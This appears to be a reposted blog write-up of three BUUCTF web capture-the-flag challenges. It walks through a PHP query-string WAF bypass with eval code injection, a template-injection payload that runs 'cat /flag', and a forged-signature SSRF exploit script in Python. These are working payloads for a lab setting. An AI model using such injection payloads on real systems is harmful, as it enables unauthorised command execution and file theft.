BUUCTF WEB


BUUCTF 幾道WEB題WP

  • 今天做了幾道Web題,記錄一下,Web萌新寫的不好,望大佬們見諒○| ̄|_

[RoarCTF 2019]Easy Calc

知識點:PHP的字符串解析特性

  • 參考了一下網上大佬文章http://gality.cn/2019/10/21/php%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7%E7%A0%94%E7%A9%B6/
  • 在php中,查詢的字符串(URL或正文中)會被轉換為內部$_GET$_POST數組. 例如:/?foo=bar變成Array([foo] => “bar”)。值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下划線代替。例如,/?%20news[id%00=42會轉換為Array([news_id] => 42)
  • 對於/news.php?%20news[id%00=42"+AND+1=0-- 來說,PHP語句的參數%20news[id%00的值將存儲到$_GET[“news_id”]中。
  • PHP需要將所有參數轉換為有效的變量名,因此在解析查詢字符串時,php需要完成兩件事:
    1、刪除空白符
    2、將某些字符轉換為下划線(包括空格)
  • 我個人理解就是對於限制了只允許傳入數值參數,對於非數值型數據產生禁止的waf,我們可以使用加空格來繞過

題目分析:

  • 查看源碼發現下列信息
<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("這啥?算不來!");
            }
        })
        return false;
    })
</script>
  • 可以看到設置了有一個WAF,在script中又發現一個url字樣,有calc.php,嘗試訪問發現WAF源碼
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>
  • 發現有一個GET傳參參數num,和一堆黑名單,在嘗試在num傳參時,發現以下情形
    calc.php?num=1
    web
    calc.php?num=a
    web
  • 發現這里對非數值型數據有過濾攔截,這里就嘗試php字符串解析的漏洞,使用加空格繞過,因為php解析的時候會自動將空格去除
    正常返回:
    web
  • 那么我們就可以嘗試去讀取文件信息,首先遍歷一下根目錄文件,但是發現黑名單中有過濾,過濾了'/',嘗試繞過,對其進行轉成ascii碼,發現可以執行
    calc.php?%20num=a;var_dump(scandir(chr(47)))
    web
  • 注:這里可以多語句執行是因為eval('echo '.$str.';');這里語句eval每次將拼接后的語句閉合后執行了
  • 最后拼接flag文件名讀取即可
    calc.php?%20num=a;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
    web

[BJDCTF2020]The mystery of ip

知識點:SSTI

  • Shana師傅的題(●'◡'●),嘗試之后發現是SSTI
    web
  • 直接執行系統函數
    {{system('ls /')}}
    web
    {{system('cat /flag')}}
    web

[De1CTF 2019]SSRF Me

知識點:SSRF,字符串拼接

  • 這題的另外兩種wp其實說實話沒弄懂,就是按照第二種方法復現了一下○| ̄|_
  • 另外這題有三種解法,大家可以參考一下這個:https://xz.aliyun.com/t/5927#toc-0
  • 大致思路分析:進入網站,發現直接給出了后端源碼,發現是用pythonFlask框架寫的,這里主要是定義了三個路由,也是和這題相關的幾個地方
  • 其中訪問geneSign時會返回一串md5,看一下源碼得知這個md5是由三部分構成,secert_key + param + action,而getSign函數生成md5時,只接收了兩個參數actionparam其中的action主要就是readscan的操作,而param是我們直接get傳的參數,剩下要解決關鍵action問題(這里就要利用字符串拼接的方式解決)而這個secert_key是由os生成的隨機16位字符串
  • 對於這里的md5(secert_key + param + action)python使用md5處理的話相當於md5(secert_keyflag.txtscan),這樣我們就可以嘗試直接拼接后讓他生成md5,直接構造
    /geneSign?param=flag.txtread這樣當到python中處理的時候,會自動和scan進行拼接,得到這樣的運算md5(secert_keyflag.txtreadscan),這就發現居然解決了action
    readscan的問題了,同時也獲得了md5
    web
@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
	param = urllib.unquote(request.args.get("param", "")) 
	action = "scan" 
	return getSign(action, param) # 返回md5

def getSign(action, param): 
	return hashlib.md5(secert_key + param + action).hexdigest() #生成的md5摘要
  • 接下來就只要直接訪問 /De1ta?param=flag.txt構造 cookie:action=readscan;sign=67a14a623ade3f0c2b5a4d98b51708db 即可
  • exp如下:
import requests

url = 'http://91a0d8ea-be8a-431a-9caf-33ed47fcce5f.node3.buuoj.cn/De1ta?param=flag.txt'

cookies = {
  'sign': '67a14a623ade3f0c2b5a4d98b51708db',
  'action': 'readscan',
  }

res = requests.get(url=url, cookies=cookies)
print(res.text)

web


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM